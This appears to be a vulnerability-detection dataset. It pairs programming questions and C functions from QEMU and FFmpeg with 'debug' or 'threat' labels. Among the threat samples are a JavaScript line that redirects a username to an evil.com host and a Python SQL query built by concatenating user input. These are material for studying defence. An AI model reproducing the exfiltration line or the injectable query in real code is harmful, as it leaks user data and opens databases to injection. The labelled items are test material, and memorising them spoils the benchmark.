problem
stringlengths
26
131k
labels
class label
2 classes
Is this nested function problem solvable in C? : <p>Given g(x) = cos(log(2.21-x)) and that x = 0.99, estimate the value given by the nested g(g(g(x)... equation as the nesting approaches infinity (you don't have to actually go to infinity, but just set up a way to recurse this nesting n times or so).</p> <p>I've tried...
0debug
static void test_visitor_out_no_string(TestOutputVisitorData *data, const void *unused) { char *string = NULL; QObject *obj; visit_type_str(data->ov, NULL, &string, &error_abort); obj = visitor_get(data); g_assert(qobject_type(obj) == QTYPE_QST...
1threat
def smallest_num(xs): return min(xs)
0debug
Matplotlib scatter plot with unknown error : <p>I am attempting to create a scatter plot. I have a list of numbers from 0 - 17 as well as an array with 18 values. I can plot the data as a line plot but when I try to plot as a scatter I get an error message I do not understand: <code>TypeError: ufunc 'sqrt' not supporte...
0debug
static void glfs_clear_preopened(glfs_t *fs) { ListElement *entry = NULL; if (fs == NULL) { return; } QLIST_FOREACH(entry, &glfs_list, list) { if (entry->saved.fs == fs) { if (--entry->saved.ref) { return; } QLIST_REMOV...
1threat
Fisher exact test taks so long in R :( : My table has 770,000 rows and what I did is > mydata <- dbGetQuery(mydb, "select * from table") > mydata$pvalue <- apply(as.matrix(mydata[, c(3,5,4,6)]), 1, function(x) fisher.test(matrix(x, nrow=2))$p.value) to get pvalues. But it takes so long. (it has...
0debug
save the result of a function getDistanceMatrix in a variable : <p>I am trying to save the result of a function in a variable </p> <pre><code>let myDistance = (()=&gt;{ let service = new google.maps.DistanceMatrixService(); service.getDistanceMatrix( { origins: [{lat: 55.93, lng: -3.118}], dest...
0debug
Sort data in python, such that missing data points are filled with NaNs : In the metaanalysis of a drug interference study, I am analyzing the influence on patients of drugs at several concentations at different time points. Now for some patients, data are available for only some of the drug concentrations. I us...
0debug
How to get string / line between 2 strings using Regex in C# : I am bit new for Regex class in C#. I have use case like I have some file where we have data in following format :-- ----string1 abc cde --string1 efg hjk -string1 xyz string1 Now when I am using like string1(.+?)string1 as pattern I am gettin...
0debug
remove unnecessary white space, auto detect header, and sorted by name in datagrib from csv file. C# : I know my title is confuse and not clear, now i going to explain what i need.<br/> In the end of the program, it will be able to input csv file, calculate and output the result.<br/> For now i m doing it step by ste...
0debug
QEMUFile *qemu_fopen_ops_buffered(MigrationState *migration_state) { QEMUFileBuffered *s; s = g_malloc0(sizeof(*s)); s->migration_state = migration_state; s->xfer_limit = migration_state->bandwidth_limit / 10; s->file = qemu_fopen_ops(s, &buffered_file_ops); s->timer = qemu_new_ti...
1threat
how to remove error: expected primary-expression before '.' token : <p>please help me remove this error i made these two structures and when i try to use the cin it shows this error how can i remove this error and please also tell me how to take a string in input using cin.getline and gets().</p> <pre><code>#include &...
0debug
static void xen_exit_notifier(Notifier *n, void *data) { XenIOState *state = container_of(n, XenIOState, exit); xc_evtchn_close(state->xce_handle); xs_daemon_close(state->xenstore); }
1threat
can i use lan wire color combination like 1=Light Orange , 2=Orange, 3=Light Blue, 4 and 5 null and 6=Blue : can i use lan wire color combination like 1=Light Orange , 2=Orange, 3=Light Blue, 4 and 5 null and 6=Blue. Intsted of1=Light Orange , 2=Orange, 3=Light Green, 4 and 5 null and 6=Green In Lan Wire connection ? ...
0debug
How may Refresh my page when only mysql databases update using php : <p>Actually am developing online ordering system and i need when an order has approved by manager shown automatically on quicken department screen without refreshing a page and notice with beep sound! please is there any idea? </p>
0debug
What is the difference between .nextLine() and .next()? : <p>I am making a program and am using user input. When I am getting a String I have always used .nextLine(), but I have also used .next() and it does the same thing. What is the difference? </p> <pre><code>Scanner input = new Scanner(System.in); String h = inpu...
0debug
How to excecute script every 6 hours? JQUERY : I need to refresh token every 6hours so then I can use an api without doing login again. I'm trying like this: setInterval(function(){ var code = window.location.href.split("=").pop(); var xhr = new XMLHttpRequest(); xhr.ope...
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
HADOOP INSTAllATION ERROR ON RUNNING COMMAND FORMATING NAMENODE : I'm installing hadoop on remote server(centos) I've installed hadoop successfully in local mode and trying to install it in pseudo-distributed mode but after all the configuration changes in core-site.xml and mapred-site.xml when i run hdfd namenode -fo...
0debug
Group by columns and summarize a column into a list : <p>I have a dataframe like this: </p> <pre><code>sample_df&lt;-data.frame( client=c('John', 'John','Mary','Mary'), date=c('2016-07-13','2016-07-13','2016-07-13','2016-07-13'), cluster=c('A','B','A','A')) #sample data frame client date cluster 1...
0debug
Is any better syntax to perform this code? : <p>Below is my code</p> <pre><code> if(!chineseName) { alert("chineseName is not correct"); } else if(!IDN){ alert("IDN is not correct"); } else if(!mobileNumber){ alert("number is not correct"); } else if(hasAccount){ ...
0debug
i want to add 10% service tax and 13 % vat but i am unabble to do so please anybody help me. Beside this i have to print the bill for 5 users : You are required to create an MVP (Minimal Viable Product) to take customer orders for a local ethnic food restaurant in Kathmandu. The restaurant offers 10 different types of ...
0debug
static void *kvm_cpu_thread_fn(void *arg) { CPUState *env = arg; int r; qemu_mutex_lock(&qemu_global_mutex); qemu_thread_self(env->thread); r = kvm_init_vcpu(env); if (r < 0) { fprintf(stderr, "kvm_init_vcpu failed: %s\n", strerror(-r)); exit(1); } qemu_k...
1threat
in C how to pass local function variable value to another function and print value without errors : <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; int give_options(); int give_options(){ printf("===== MENU 1 =====\n"); printf("&gt; store new customer :\t\tenter 1\n"); printf("&gt; view a...
0debug
Microservices: Atomic Events : <p>I'm learning about microservice data replication right now, and one thing I'm having trouble with is coming up with the right architecture for ensuring event atomicity. The way I understand it, the basic flow is:</p> <ol> <li>Commit changes to a database.</li> <li>Publish an event de...
0debug
Change label value Using jQuery : This my first question,On My Form, i want change Color to Choose Color <label for="ProductSelect-option-0">Color</label> output will be <label for="ProductSelect-option-0">Choose Color</label> Without add class or ID. How possible to do with jQuery?
0debug
Losing widget state when switching pages in a Flutter PageView : <p>I have a series of stateful widgets in a PageView managed by a PageController. I am using <code>pageController.jumpToPage(index)</code> to switch pages. When switching pages all state appears to be lost in the widget, as if it was recreated from scratc...
0debug
static void arm_gic_common_reset(DeviceState *dev) { GICState *s = ARM_GIC_COMMON(dev); int i; memset(s->irq_state, 0, GIC_MAXIRQ * sizeof(gic_irq_state)); for (i = 0 ; i < s->num_cpu; i++) { if (s->revision == REV_11MPCORE) { s->priority_mask[i] = 0xf0; } else { ...
1threat
Show and hide divs with js - Help me please : I have 5 `<a>`... <a id="showtrips">TRIPS</a> <a id="showeats">EATS</a> <a id="showfilms">FILMS</a> <a id="showmusic">MUSIC</a> <a id="showtravels">TRAVELS</a> ...and I have 5 `<div>` and each div have the content of the `<a>` names. I want show...
0debug
With knexjs, how do I compare two columns in the .where() function? : <p>Using knexjs only (no bookshelf) I would like to do something like the following query:</p> <pre><code>select * from table1 where column1 &lt; column2 </code></pre> <p>However, when I do this:</p> <pre><code>.table("table1").select().where("col...
0debug
Disable Upgrade-Insecure-Requests in Firefox and Chrome : <p>I run a PHP+Apache2 application locally - for development purposes.</p> <p>The app is running at <a href="http://x.dev" rel="noreferrer">http://x.dev</a> (a virtual host + an entry in hosts file)</p> <p>After Firefox updated it seems that I can no longer ac...
0debug
static int decode_frame(AVCodecContext *avctx, void *data, int *data_size, AVPacket *avpkt) { const uint8_t *buf = avpkt->data; const uint8_t *buf_end = avpkt->data + avpkt->size; int buf_size = avpkt->size; DPXContext...
1threat
Will it be possible to annotate lambda expression in Java 9? : <p><a href="https://stackoverflow.com/questions/22375891/annotating-the-functional-interface-of-a-lambda-expression">This question</a> is now over 3 years old and specifically addressed Java 8, with the accepted answer also citing the <a href="http://downlo...
0debug
static uint64_t pxa2xx_ssp_read(void *opaque, hwaddr addr, unsigned size) { PXA2xxSSPState *s = (PXA2xxSSPState *) opaque; uint32_t retval; switch (addr) { case SSCR0: return s->sscr[0]; case SSCR1: return s->sscr[1]; case SSPSP: ...
1threat
Complier cannot find .h files (code blocks) : Hey all I am trying to include a few libraries in code blocks, however when I add the path of the .h files to the search directory, it only seems to identify the ones in the main file and I think that is due to the fact that in the main file they are included as such (for e...
0debug
void virtio_scsi_dataplane_notify(VirtIODevice *vdev, VirtIOSCSIReq *req) { if (virtio_should_notify(vdev, req->vq)) { event_notifier_set(virtio_queue_get_guest_notifier(req->vq)); } }
1threat
how to remove all + sign from array using jquery : i have `array` like this, i want to remove `+` sign only from the below `array` var arr = ['+(91)-80-411311015','+(91)-80-411311456','+(91)-80-411311016']; i have tried this but not working var toRemove = "+"; arr = arr.filter(function(el){ ...
0debug
int ff_ivi_decode_blocks(GetBitContext *gb, IVIBandDesc *band, IVITile *tile) { int mbn, blk, num_blocks, num_coeffs, blk_size, scan_pos, run, val, pos, is_intra, mc_type, mv_x, mv_y, col_mask; uint8_t col_flags[8]; int32_t prev_dc, trvec[64]; uint32_t cbp, sym, ...
1threat
static int xen_domain_watcher(void) { int qemu_running = 1; int fd[2], i, n, rc; char byte; if (pipe(fd) != 0) { qemu_log("%s: Huh? pipe error: %s\n", __FUNCTION__, strerror(errno)); return -1; } if (fork() != 0) return 0; n = getdtablesize(); ...
1threat
static int swf_probe(AVProbeData *p) { if (p->buf_size <= 16) return 0; if ((p->buf[0] == 'F' || p->buf[0] == 'C') && p->buf[1] == 'W' && p->buf[2] == 'S') return AVPROBE_SCORE_MAX; else return 0; }
1threat
static inline int svq3_mc_dir(SVQ3Context *s, int size, int mode, int dir, int avg) { int i, j, k, mx, my, dx, dy, x, y; const int part_width = ((size & 5) == 4) ? 4 : 16 >> (size & 1); const int part_height = 16 >> ((unsigned)(size + 1) / 3); const int extra_wid...
1threat
Writing a numpy matrix to a text file : I am trying to write a numpy array to a text file. But it deos not work. My problem follows. I am trying to get the RGB pixel values of a picture using `matplotlib.image` and save the values obtained from my program to some file for future use. The values are returned in t...
0debug
How can i cat all txt files to terminal using python? : <p>I want to cat txt files from a folder and cat results should be shown in terminal (Obviously). I have tried using listdir() it but it doesn't work. Required some help!</p>
0debug
static inline void yuv2yuvXinC(int16_t *lumFilter, int16_t **lumSrc, int lumFilterSize, int16_t *chrFilter, int16_t **chrSrc, int chrFilterSize, uint8_t *dest, uint8_t *uDest, uint8_t *vDest, int dstW, int chrDstW) { int i; for (i=0; i<dst...
1threat
how to make spectrum color button/ color picker button : <p>I need to build a button that will display color spectrum onclick, and by clicking on a spot inside the color spectum, the spot color will be picked and the text color will change according to the picked color.</p> <p>This is kind of what I need</p> <p><a hr...
0debug
String in to list Python : <p>I have a string, something like:</p> <pre><code>a = "[1, 2, 3]" </code></pre> <p>If there an easy way to convert it in to a list, without using .split(), join() etc.</p> <p>Thanks for any replies.</p>
0debug
static int rm_assemble_video_frame(AVFormatContext *s, RMContext *rm, AVPacket *pkt, int len) { ByteIOContext *pb = &s->pb; int hdr, seq, pic_num, len2, pos; int type; int ssize; hdr = get_byte(pb); len--; type = hdr >> 6; switch(type){ case 0: case 2: seq = ge...
1threat
static int xenfb_map_fb(struct XenFB *xenfb) { struct xenfb_page *page = xenfb->c.page; char *protocol = xenfb->c.xendev.protocol; int n_fbdirs; unsigned long *pgmfns = NULL; unsigned long *fbmfns = NULL; void *map, *pd; int mode, ret = -1; pd = page->pd; mode = siz...
1threat
static int block_crypto_open_generic(QCryptoBlockFormat format, QemuOptsList *opts_spec, BlockDriverState *bs, QDict *options, int flags, ...
1threat
pyspark: ValueError: Some of types cannot be determined after inferring : <p>I have a pandas data frame <code>my_df</code>, and <code>my_df.dtypes</code> gives us:</p> <pre><code>ts int64 fieldA object fieldB object fieldC object fieldD object fieldE object dtype: o...
0debug
static void add_bytes_l2_c(uint8_t *dst, uint8_t *src1, uint8_t *src2, int w) { long i; for (i = 0; i <= w - sizeof(long); i += sizeof(long)) { long a = *(long *)(src1 + i); long b = *(long *)(src2 + i); *(long *)(dst + i) = ((a & pb_7f) + (b & pb_7f)) ^ ((a ^ b) & pb_80); } ...
1threat
How to initialize a char member variable of a class? : <p>I am having trouble assigning value to a character class member:</p> <pre><code>class Node { public: char c; }; void main(void) { Node *node; node-&gt;c = 'a'; } </code></pre>
0debug
typings vs @types NPM scope : <p>In some cases <code>typings</code> is used for handling TypeScript definitions (e.g. <a href="https://github.com/angular/angular2-seed">angular/angular2-seed</a>).</p> <p>In other cases scoped NPM <code>@types</code> packages are used with no <code>typings</code> involved (e.g. <a href...
0debug
Vector Drawable VS PNG : <p>What is Vector Drawable? How it differs from PNG? Is it possible to convert an PNG to vector Drawable in Android?</p> <p>Below is the one vector Drawable, I have created in Studio.</p> <pre><code>&lt;vector xmlns:android="http://schemas.android.com/apk/res/android" android:width="24dp"...
0debug
START_TEST(qint_destroy_test) { QInt *qi = qint_from_int(0); QDECREF(qi); }
1threat
Illegal Characters in Path for XSLT Tranformation : <p>I am writing an XSLT transformation to translate a XML credit report. </p> <p>When I run the following code I am getting "Illegal Characters in Path" error. Not sure what I am missing. I want this method to return a HTML string.</p> <p>I have tested the XSLT t...
0debug
Can i use Meteor.js WITHOUT any React and Angular and Blaze? I want use my own library : <p>Can i use Meteor.js <strong>WITHOUT</strong> any React and Angular and Blaze? I want use my own library</p>
0debug
Is there a way to change the CSS resize corner's position? : <p>So this is a bit of a strange question. Programming a web application with a resizable div. I'm using the CSS resize property at the moment as it seemed like it was the easiest way to do it. The problem is my box has a locked bottom and left position (whic...
0debug
var result = string.split('').forEach(...); Doesn't work in JavaScript : <p>In Javascript, why is result below <code>undefined</code>? </p> <pre><code>var x = "happy"; var result = x.split('').forEach(function(val,index,array){ array[index] = "0"; }); console.log(result); </code></pre> <p>The output is:</p> <pr...
0debug
How to fix problem with double T[] - result NullPointerException : I'm doing a program that uses the divide and conquer methods. Unfortunately, I can not use the "find" method. I have no idea what to do instead of null in this line: "find (null, 0, 100, 34)". Thank you in advance. public class Main { stat...
0debug
static void tcx_invalidate_cursor_position(TCXState *s) { int ymin, ymax, start, end; ymin = s->cursy; if (ymin >= s->height) { return; } ymax = MIN(s->height, ymin + 32); start = ymin * 1024; end = ymax * 1024; memory_region_set_dirty(&s->vram_mem, start, e...
1threat
Is it possible to bring the variable value even if is there some mismatch in variable in ruby : <pre><code>variable_123_abc = 20 </code></pre> <p>If I search with variable_345_abc it should bring the value 20 is it possible in ruby?</p>
0debug
static int scsi_disk_emulate_mode_sense(SCSIDiskReq *r, uint8_t *outbuf) { SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, r->req.dev); uint64_t nb_sectors; int page, dbd, buflen, ret, page_control; uint8_t *p; uint8_t dev_specific_param; dbd = r->req.cmd.buf[1] & 0x8; page = r-...
1threat
Typescript: Property 'src' does not exist on type 'HTMLElement' : <p>I get a error from Typescript and I am not sure how to correct it. The code works fine when "compiled" but I can't correct the error. I have extracted the parts that involve the error from my code. I guess I have to predifine the src but not sure how....
0debug
Regex for nested pattern : <p>I have a pattern like this:</p> <pre><code>#alphanumericX(anythingY){ anythingZ }# </code></pre> <p>It can be nested like this:</p> <pre><code>#alphanumeric1(anything1){ #alphanumericX(anythingY){ anythingZ }# }# </code></pre> <p>Or like this:</p> <pre><code>#alpha...
0debug
NullReferenceException on DevExpress 16.2.1 XtraReport generation via ReportService on WebForms : <p>When using <code>ReportService</code> as report provider for <code>AspxDocumentViewer</code> in <em>DevExpress 2016 ver.1.2</em> <code>"Object reference not set to an instance of an object"</code> is shown as JS alert i...
0debug
C# export data from database into excel. Without any of DLL or open source dlll or any kind of free dll : <p>Please provide way to export data into excel without any DLL or free open source DLL or any kind of DLL.</p> <p>Help me programmers,</p>
0debug
av_cold void ff_mlpdsp_init_arm(MLPDSPContext *c) { int cpu_flags = av_get_cpu_flags(); if (have_armv5te(cpu_flags)) { c->mlp_filter_channel = ff_mlp_filter_channel_arm; } }
1threat
What is the connection String to connect to the DB MS SQL in web.config : my files in image [enter image description here][1] [1]: https://i.stack.imgur.com/fgK5K.jpg What is the connection String in web.config to connect to the DB MS SQL using asp.net Please help me.
0debug
Spring WebFlux (Flux): how to publish dynamically : <p>I am new to Reactive programming and Spring WebFlux. I want to make my App 1 publish Server Sent event through Flux and my App 2 listen on it continuously.</p> <p>I want Flux publish on-demand (e.g. when something happens). All the example I found is to use Flux.i...
0debug
CSS: content url with "title" : I want to replace a text with URL in CSS. So far I get: .myclass { visibility: hidden; } .myclass:before { content: 'My page: ' url(http://www.myawesomepage.com) 'myawesomepage'; visibility:visible; } This is what I got: My page:...
0debug
How can I run an executable and take input from a text file on Linux? : <p>How can I run an executable and take input from a text file on Linux? I was trying to use: ./(name of my executable) TextFile.txt but it does not work.</p>
0debug
Final variable in java : <pre><code> class Test { public static final int x; public static void main (String[] args) { Test.x = 42; } } </code></pre> <p>I have declared a static final variable, and when i compiled it the following error shown up.</p> <pre><code> error: cannot assign a value t...
0debug
static int vaapi_mpeg4_start_frame(AVCodecContext *avctx, av_unused const uint8_t *buffer, av_unused uint32_t size) { Mpeg4DecContext *ctx = avctx->priv_data; MpegEncContext * const s = &ctx->m; struct vaapi_context * const vactx = avctx->hwaccel_context; VAPictureParameterBufferMPEG4 *pic_param; ...
1threat
I'm novice in python programming, and i have a issue that how can i re-written SSN such that the first five numbers are hidden from view? : I want to rewrite the SSN # such that the first five numbers are hidden from view. The following csv file like the below : Emp ID,Name,DOB,SSN,State 15,Samantha Lara,1993...
0debug
Check land or water in google map Andriod : i am generating random latitude and longitude.but i am unable to find land or water for random lat and longitude.i checked with google API,i am not finding and i searched in google.but i cannot find solution.help me.i used this (https://onwater.io/users/sign_up )...
0debug
def common_prefix_util(str1, str2): result = ""; n1 = len(str1) n2 = len(str2) i = 0 j = 0 while i <= n1 - 1 and j <= n2 - 1: if (str1[i] != str2[j]): break result += str1[i] i += 1 j += 1 return (result) def common_prefix (arr, n): prefix = arr[0] for i in range (1, n): ...
0debug
How to prevent launchSettings.json from being created in Visual Studio 2017 : <p>VS 2017 creates a file for ASP.NET Core MVC projects, called <code>launchSettings.json</code>, which contains information about IIS Express and Kestrel AMAIK.</p> <p>We host our projects in IIS even on development machines, thus we don't ...
0debug
Cannot implicitly convert type 'System.Collections.Generic.IEnumerable<int> to 'int' : Im selecting an id from an Linq query so it is an int but when i try to use it again it is giving me the error Cannot implicitly convert type 'System.Collections.Generic.IEnumerable<int> to 'int' var costcentre = company.Compa...
0debug
weighting scale integration with c# winform : I want to get weighting scale value in textbox in c# windows application on button click event. i've used following code but get no result, `using System; using System.IO.Ports; //<-- necessary to use "SerialPort" using System.Windows.Forms; namespace ComPor...
0debug
Uncaught Error: Call to undefined function : <p>It was working but now it stops working why? it soppiest to write into a file and save it. it was working yesterday but today it stops and I can't figure out why a search the internet but still nothing I can't .</p> <p>Thanks in advanced</p> <pre><code>&lt;!DOCTYPE html...
0debug
how to populate treeview two tables using vb.net : Hello i have this two table [Department Table][1] [subDepartment table][2] then i want this result using treeview **id** **department** **category** 1 MIS System 1 MIS Networking 1 MIS ...
0debug
int css_do_hsch(SubchDev *sch) { SCSW *s = &sch->curr_status.scsw; PMCW *p = &sch->curr_status.pmcw; int ret; if (!(p->flags & (PMCW_FLAGS_MASK_DNV | PMCW_FLAGS_MASK_ENA))) { ret = -ENODEV; goto out; } if (((s->ctrl & SCSW_CTRL_MASK_STCTL) == SCSW_STCTL_STATUS_PEND) ...
1threat
Set is not removing the duplicates : <p>I am having trouble putting a file of words into a set. I can read the file and the words go into the set but the set doesn't discard the repeated words. Here is the snippet of code that I believe is causing the problem. </p> <pre><code>using namespace std; while(readText &gt;&...
0debug
Trying to move data from Google Bigquery to Blob : I am trying to move data from Google bigquery to Blob incrementally, can anyone help me with this?
0debug
Remove A string from B string : <p>I have manufacture name and a product name which has manufacture name and I want to remove manufacture name form product name, I use the following code but didn't work</p> <p>I tried both sub and replace methods but didn't work</p> <pre><code>import re menufacture_name = "AMPHENOL ...
0debug
cursor.execute('SELECT * FROM users WHERE username = ' + user_input)
1threat
Python code : explain plz : 1. first_num = raw input ("Please input first number. ") 2. sec_num = raw input (" Please input second number:") 3 4. answer = into( first_num) +into( sec_num) 5. 6. print " Now I will add your two numbers : ", answer 7. 8. print " Pretty...
0debug
How to correctly generate SHA-256 checksum for a string in scala? : <p>I need to generate an SHA-256 checksum from a string that will be sent as a <em>get</em> param.</p> <p>If found <a href="https://stackoverflow.com/questions/5531455/how-to-hash-some-string-with-sha256-in-java">this link</a> to generate the checksum...
0debug
Effect of class_weight and sample_weight in Keras : <p>Can someone tell me mathematically how sample_weight and class_weight are used in Keras in the calculation of loss function and metrics? A simple mathematical express will be great.</p>
0debug
Remove data from list while iterating kotlin : <p>I am new to kotlin programming. What I want is that I want to remove a particular data from a list while iterating through it, but when I am doing that my app is crashing. </p> <pre><code>for ((pos, i) in listTotal!!.withIndex()) { if (pos != 0 &amp;&amp; ...
0debug
SEO optimization of Angular.JS project : <p>guys! Need the help. I am developing a project on Angular and my PM asked me to perform its SEO optimization. I don`t know where to start. Can you provide me with a code example, please?</p>
0debug
Application Crashes when creating multiple tables in android studio : The Application works fine when only the first table is being created but crashes when creating multiple tables. The following is the code for my DatabaseHelper class public class DatabaseHelper extends SQLiteOpenHelper{ public stati...
0debug
lambda with multiple arguments for apply function : <p>I am having following function. Here I have lambda which takes multiple arguments row and float value. While I am running I am geeting error what is the cause?</p> <pre><code>def func(): Top15 = create_frame() total_citations = Top15['Citations'].sum() ...
0debug
what is the meaning of init method in objective c? : i am new in objective c and from java background, i want to know what is the meaning of `init()` method/function in objective c in a base class while achieving inheritance ? Is this is a kind of constructor like in java ? and is this is essential to use only `init...
0debug
simple Logistic regression : everyone, i tried to solve a simple linear regression problem of two-dimensional classification. Here I have a feature matrix X_expanded, which has a shape of [826,6], To classify objects we will obtain probability of object belongs to class '1'. To predict probability we will use output o...
0debug
How to provide user login with a username and NOT an email? : <p>I'd like to use Firebase for my web app that is for people with dementia in a care home. They do not have email or social network accounts so will need a simple username / password sign up / sign in.</p> <p>What is the easiest way to do this? From what I...
0debug
Print page without modal : <p>I have a page with a modal. One option in this modal is to print the page using <code>window.print()</code>. </p> <p>This prints the modal and not the page.</p> <p>How can I print just the page and not the modal?</p>
0debug
failed to download file from mysql server : I am new with JSP and servlets. Please help me with my problem. I have done code for uploading multiple files to MySQL database and it is successful. I have one jsp page("**filelist.jsp**") which contains all uploaded files by user. So I want to **Search** particular file usi...
0debug
Deploying Common Lisp Web Applications : <p>I am wondering how one goes about deploying a Common Lisp web application written in, say, Hunchentoot, Wookie, Woo, or even Clack.</p> <p>That is, suppose I write an app that contains some files, packages, etc. Typically when I am working locally, I simply run a command in ...
0debug